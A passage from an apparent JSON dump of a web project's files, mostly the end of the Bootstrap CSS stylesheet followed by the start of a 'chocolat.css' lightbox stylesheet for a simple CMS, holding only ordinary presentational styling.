.table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n  border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n  border-top: 1px solid #ddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n  border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n  border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n  border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n  border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n  border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n  border-bottom: 0;\n}\n.panel > .table-responsive {\n  margin-bottom: 0;\n  border: 0;\n}\n.panel-group {\n  margin-bottom: 20px;\n}\n.panel-group .panel {\n  margin-bottom: 0;\n  border-radius: 4px;\n}\n.panel-group .panel + .panel {\n  margin-top: 5px;\n}\n.panel-group .panel-heading {\n  border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n  border-top: 1px solid #ddd;\n}\n.panel-group .panel-footer {\n  border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n  border-bottom: 1px solid #ddd;\n}\n.panel-default {\n  border-color: #ddd;\n}\n.panel-default > .panel-heading {\n  color: #333;\n  background-color: #f5f5f5;\n  border-color: #ddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #ddd;\n}\n.panel-default > .panel-heading .badge {\n  color: #f5f5f5;\n  background-color: #333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #ddd;\n}\n.panel-primary {\n  border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #337ab7;\n}\n.panel-success {\n  border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n  color: #dff0d8;\n  background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #d6e9c6;\n}\n.panel-info {\n  border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n  color: #d9edf7;\n  background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #bce8f1;\n}\n.panel-warning {\n  border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n  color: #fcf8e3;\n  background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #faebcc;\n}\n.panel-danger {\n  border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n  color: #f2dede;\n  background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n  position: relative;\n  display: block;\n  height: 0;\n  padding: 0;\n  overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n  border: 0;\n}\n.embed-responsive-16by9 {\n  padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n  padding-bottom: 75%;\n}\n.well {\n  min-height: 20px;\n  padding: 19px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border: 1px solid #e3e3e3;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n}\n.well blockquote {\n  border-color: #ddd;\n  border-color: rgba(0, 0, 0, .15);\n}\n.well-lg {\n  padding: 24px;\n  border-radius: 6px;\n}\n.well-sm {\n  padding: 9px;\n  border-radius: 3px;\n}\n.close {\n  float: right;\n  font-size: 21px;\n  font-weight: bold;\n  line-height: 1;\n  color: #000;\n  text-shadow: 0 1px 0 #fff;\n  filter: alpha(opacity=20);\n  opacity: .2;\n}\n.close:hover,\n.close:focus {\n  color: #000;\n  text-decoration: none;\n  cursor: pointer;\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\nbutton.close {\n  -webkit-appearance: none;\n  padding: 0;\n  cursor: pointer;\n  background: transparent;\n  border: 0;\n}\n.modal-open {\n  overflow: hidden;\n}\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1050;\n  display: none;\n  overflow: hidden;\n  -webkit-overflow-scrolling: touch;\n  outline: 0;\n}\n.modal.fade .modal-dialog {\n  -webkit-transition: -webkit-transform .3s ease-out;\n       -o-transition:      -o-transform .3s ease-out;\n          transition:         transform .3s ease-out;\n  -webkit-transform: translate(0, -25%);\n      -ms-transform: translate(0, -25%);\n       -o-transform: translate(0, -25%);\n          transform: translate(0, -25%);\n}\n.modal.in .modal-dialog {\n  -webkit-transform: translate(0, 0);\n      -ms-transform: translate(0, 0);\n       -o-transform: translate(0, 0);\n          transform: translate(0, 0);\n}\n.modal-open .modal {\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: 10px;\n}\n.modal-content {\n  position: relative;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #999;\n  border: 1px solid rgba(0, 0, 0, .2);\n  border-radius: 6px;\n  outline: 0;\n  -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n          box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n}\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000;\n}\n.modal-backdrop.fade {\n  filter: alpha(opacity=0);\n  opacity: 0;\n}\n.modal-backdrop.in {\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\n.modal-header {\n  min-height: 16.42857143px;\n  padding: 15px;\n  border-bottom: 1px solid #e5e5e5;\n}\n.modal-header .close {\n  margin-top: -2px;\n}\n.modal-title {\n  margin: 0;\n  line-height: 1.42857143;\n}\n.modal-body {\n  position: relative;\n  padding: 15px;\n}\n.modal-footer {\n  padding: 15px;\n  text-align: right;\n  border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n  margin-bottom: 0;\n  margin-left: 5px;\n}\n.modal-footer .btn-group .btn + .btn {\n  margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n  margin-left: 0;\n}\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n@media (min-width: 768px) {\n  .modal-dialog {\n    width: 600px;\n    margin: 30px auto;\n  }\n  .modal-content {\n    -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n            box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n  }\n  .modal-sm {\n    width: 300px;\n  }\n}\n@media (min-width: 992px) {\n  .modal-lg {\n    width: 900px;\n  }\n}\n.tooltip {\n  position: absolute;\n  z-index: 1070;\n  display: block;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 12px;\n  font-weight: normal;\n  line-height: 1.4;\n  filter: alpha(opacity=0);\n  opacity: 0;\n}\n.tooltip.in {\n  filter: alpha(opacity=90);\n  opacity: .9;\n}\n.tooltip.top {\n  padding: 5px 0;\n  margin-top: -3px;\n}\n.tooltip.right {\n  padding: 0 5px;\n  margin-left: 3px;\n}\n.tooltip.bottom {\n  padding: 5px 0;\n  margin-top: 3px;\n}\n.tooltip.left {\n  padding: 0 5px;\n  margin-left: -3px;\n}\n.tooltip-inner {\n  max-width: 200px;\n  padding: 3px 8px;\n  color: #fff;\n  text-align: center;\n  text-decoration: none;\n  background-color: #000;\n  border-radius: 4px;\n}\n.tooltip-arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.top-left .tooltip-arrow {\n  right: 5px;\n  bottom: 0;\n  margin-bottom: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.top-right .tooltip-arrow {\n  bottom: 0;\n  left: 5px;\n  margin-bottom: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.right .tooltip-arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-width: 5px 5px 5px 0;\n  border-right-color: #000;\n}\n.tooltip.left .tooltip-arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-width: 5px 0 5px 5px;\n  border-left-color: #000;\n}\n.tooltip.bottom .tooltip-arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n  top: 0;\n  right: 5px;\n  margin-top: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n  top: 0;\n  left: 5px;\n  margin-top: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1060;\n  display: none;\n  max-width: 276px;\n  padding: 1px;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: left;\n  white-space: normal;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, .2);\n  border-radius: 6px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n          box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n}\n.popover.top {\n  margin-top: -10px;\n}\n.popover.right {\n  margin-left: 10px;\n}\n.popover.bottom {\n  margin-top: 10px;\n}\n.popover.left {\n  margin-left: -10px;\n}\n.popover-title {\n  padding: 8px 14px;\n  margin: 0;\n  font-size: 14px;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-radius: 5px 5px 0 0;\n}\n.popover-content {\n  padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n  position: absolute;\n  display: block;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.popover > .arrow {\n  border-width: 11px;\n}\n.popover > .arrow:after {\n  content: \"\";\n  border-width: 10px;\n}\n.popover.top > .arrow {\n  bottom: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-color: #999;\n  border-top-color: rgba(0, 0, 0, .25);\n  border-bottom-width: 0;\n}\n.popover.top > .arrow:after {\n  bottom: 1px;\n  margin-left: -10px;\n  content: \" \";\n  border-top-color: #fff;\n  border-bottom-width: 0;\n}\n.popover.right > .arrow {\n  top: 50%;\n  left: -11px;\n  margin-top: -11px;\n  border-right-color: #999;\n  border-right-color: rgba(0, 0, 0, .25);\n  border-left-width: 0;\n}\n.popover.right > .arrow:after {\n  bottom: -10px;\n  left: 1px;\n  content: \" \";\n  border-right-color: #fff;\n  border-left-width: 0;\n}\n.popover.bottom > .arrow {\n  top: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-width: 0;\n  border-bottom-color: #999;\n  border-bottom-color: rgba(0, 0, 0, .25);\n}\n.popover.bottom > .arrow:after {\n  top: 1px;\n  margin-left: -10px;\n  content: \" \";\n  border-top-width: 0;\n  border-bottom-color: #fff;\n}\n.popover.left > .arrow {\n  top: 50%;\n  right: -11px;\n  margin-top: -11px;\n  border-right-width: 0;\n  border-left-color: #999;\n  border-left-color: rgba(0, 0, 0, .25);\n}\n.popover.left > .arrow:after {\n  right: 1px;\n  bottom: -10px;\n  content: \" \";\n  border-right-width: 0;\n  border-left-color: #fff;\n}\n.carousel {\n  position: relative;\n}\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n.carousel-inner > .item {\n  position: relative;\n  display: none;\n  -webkit-transition: .6s ease-in-out left;\n       -o-transition: .6s ease-in-out left;\n          transition: .6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n  .carousel-inner > .item {\n    -webkit-transition: -webkit-transform .6s ease-in-out;\n         -o-transition:      -o-transform .6s ease-in-out;\n            transition:         transform .6s ease-in-out;\n\n    -webkit-backface-visibility: hidden;\n            backface-visibility: hidden;\n    -webkit-perspective: 1000;\n            perspective: 1000;\n  }\n  .carousel-inner > .item.next,\n  .carousel-inner > .item.active.right {\n    left: 0;\n    -webkit-transform: translate3d(100%, 0, 0);\n            transform: translate3d(100%, 0, 0);\n  }\n  .carousel-inner > .item.prev,\n  .carousel-inner > .item.active.left {\n    left: 0;\n    -webkit-transform: translate3d(-100%, 0, 0);\n            transform: translate3d(-100%, 0, 0);\n  }\n  .carousel-inner > .item.next.left,\n  .carousel-inner > .item.prev.right,\n  .carousel-inner > .item.active {\n    left: 0;\n    -webkit-transform: translate3d(0, 0, 0);\n            transform: translate3d(0, 0, 0);\n  }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  display: block;\n}\n.carousel-inner > .active {\n  left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n.carousel-inner > .next {\n  left: 100%;\n}\n.carousel-inner > .prev {\n  left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n  left: 0;\n}\n.carousel-inner > .active.left {\n  left: -100%;\n}\n.carousel-inner > .active.right {\n  left: 100%;\n}\n.carousel-control {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 15%;\n  font-size: 20px;\n  color: #fff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\n.carousel-control.left {\n  background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  background-image:      -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001)));\n  background-image:         linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n  background-repeat: repeat-x;\n}\n.carousel-control.right {\n  right: 0;\n  left: auto;\n  background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  background-image:      -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5)));\n  background-image:         linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n  background-repeat: repeat-x;\n}\n.carousel-control:hover,\n.carousel-control:focus {\n  color: #fff;\n  text-decoration: none;\n  filter: alpha(opacity=90);\n  outline: 0;\n  opacity: .9;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n  position: absolute;\n  top: 50%;\n  z-index: 5;\n  display: inline-block;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n  left: 50%;\n  margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n  right: 50%;\n  margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n  width: 20px;\n  height: 20px;\n  margin-top: -10px;\n  font-family: serif;\n  line-height: 1;\n}\n.carousel-control .icon-prev:before {\n  content: '\\2039';\n}\n.carousel-control .icon-next:before {\n  content: '\\203a';\n}\n.carousel-indicators {\n  position: absolute;\n  bottom: 10px;\n  left: 50%;\n  z-index: 15;\n  width: 60%;\n  padding-left: 0;\n  margin-left: -30%;\n  text-align: center;\n  list-style: none;\n}\n.carousel-indicators li {\n  display: inline-block;\n  width: 10px;\n  height: 10px;\n  margin: 1px;\n  text-indent: -999px;\n  cursor: pointer;\n  background-color: #000 \\9;\n  background-color: rgba(0, 0, 0, 0);\n  border: 1px solid #fff;\n  border-radius: 10px;\n}\n.carousel-indicators .active {\n  width: 12px;\n  height: 12px;\n  margin: 0;\n  background-color: #fff;\n}\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #fff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n}\n.carousel-caption .btn {\n  text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n  .carousel-control .glyphicon-chevron-left,\n  .carousel-control .glyphicon-chevron-right,\n  .carousel-control .icon-prev,\n  .carousel-control .icon-next {\n    width: 30px;\n    height: 30px;\n    margin-top: -15px;\n    font-size: 30px;\n  }\n  .carousel-control .glyphicon-chevron-left,\n  .carousel-control .icon-prev {\n    margin-left: -15px;\n  }\n  .carousel-control .glyphicon-chevron-right,\n  .carousel-control .icon-next {\n    margin-right: -15px;\n  }\n  .carousel-caption {\n    right: 20%;\n    left: 20%;\n    padding-bottom: 30px;\n  }\n  .carousel-indicators {\n    bottom: 20px;\n  }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \" \";\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-footer:after {\n  clear: both;\n}\n.center-block {\n  display: block;\n  margin-right: auto;\n  margin-left: auto;\n}\n.pull-right {\n  float: right !important;\n}\n.pull-left {\n  float: left !important;\n}\n.hide {\n  display: none !important;\n}\n.show {\n  display: block !important;\n}\n.invisible {\n  visibility: hidden;\n}\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n.hidden {\n  display: none !important;\n}\n.affix {\n  position: fixed;\n}\n@-ms-viewport {\n  width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n  display: none !important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n  display: none !important;\n}\n@media (max-width: 767px) {\n  .visible-xs {\n    display: block !important;\n  }\n  table.visible-xs {\n    display: table;\n  }\n  tr.visible-xs {\n    display: table-row !important;\n  }\n  th.visible-xs,\n  td.visible-xs {\n    display: table-cell !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-block {\n    display: block !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-inline {\n    display: inline !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm {\n    display: block !important;\n  }\n  table.visible-sm {\n    display: table;\n  }\n  tr.visible-sm {\n    display: table-row !important;\n  }\n  th.visible-sm,\n  td.visible-sm {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-block {\n    display: block !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md {\n    display: block !important;\n  }\n  table.visible-md {\n    display: table;\n  }\n  tr.visible-md {\n    display: table-row !important;\n  }\n  th.visible-md,\n  td.visible-md {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-block {\n    display: block !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg {\n    display: block !important;\n  }\n  table.visible-lg {\n    display: table;\n  }\n  tr.visible-lg {\n    display: table-row !important;\n  }\n  th.visible-lg,\n  td.visible-lg {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-block {\n    display: block !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (max-width: 767px) {\n  .hidden-xs {\n    display: none !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .hidden-sm {\n    display: none !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .hidden-md {\n    display: none !important;\n  }\n}\n@media (min-width: 1200px) {\n  .hidden-lg {\n    display: none !important;\n  }\n}\n.visible-print {\n  display: none !important;\n}\n@media print {\n  .visible-print {\n    display: block !important;\n  }\n  table.visible-print {\n    display: table;\n  }\n  tr.visible-print {\n    display: table-row !important;\n  }\n  th.visible-print,\n  td.visible-print {\n    display: table-cell !important;\n  }\n}\n.visible-print-block {\n  display: none !important;\n}\n@media print {\n  .visible-print-block {\n    display: block !important;\n  }\n}\n.visible-print-inline {\n  display: none !important;\n}\n@media print {\n  .visible-print-inline {\n    display: inline !important;\n  }\n}\n.visible-print-inline-block {\n  display: none !important;\n}\n@media print {\n  .visible-print-inline-block {\n    display: inline-block !important;\n  }\n}\n@media print {\n  .hidden-print {\n    display: none !important;\n  }\n}\n/*# sourceMappingURL=bootstrap.css.map */\n"
  },
  {
    "path": "web_simplecms/simplecms/css/chocolat.css",
    "content": "body{\n\tmargin:0;\n\tpadding:0;\n}\n#Choco_overlay{\n\tbackground:rgba(20, 19, 19, 0.78) !important;\n\tposition: fixed;\n\ttop: 0;\n\tleft: 0;\n\tz-index: 1000;\n\twidth: 100%;\n\theight: 100%;\n\tdisplay:none;\n\tpadding:0;\n\tmargin:0;\n}\n#Choco_content{\n\tdisplay:none;\n\twidth:800px;\n\theight:600px;\n\tz-index:1001;\n\tposition:fixed;\n\tleft:50%;\n\ttop:50%;\n\tmargin-left:-400px;\n\tmargin-top:-300px;\n\tborder-top:1px solid transparent;/*Yes, adjust image perfectly at the center of a box, don't know why.*/\n}\n#Choco_left_arrow{\n\tfloat:left;\n\tbackground-image:url(../images/left.png)!important;\n\tbackground-position:12%;\n\tleft:-20%;\n}\n#Choco_right_arrow{\n\tfloat:right;\n\tbackground-image:url(../images/right.png)!important;\n\tbackground-position:88%;\n\tleft:20%;\n}\n.Choco_arrows{\n\tbackground-repeat:no-repeat;\n\tdisplay:none;\n\tposition:relative;\n\tcursor:pointer;\n\twidth:49%;\n\ttop:-100%;\n\theight:100%;\n\tmargin-top:-30px;\n}\n#Choco_container_photo{\n\ttext-align:center;\n\twidth:800px;\n\theight:600px;\n\t/*background:url(../images/ajax-loader.gif) center center 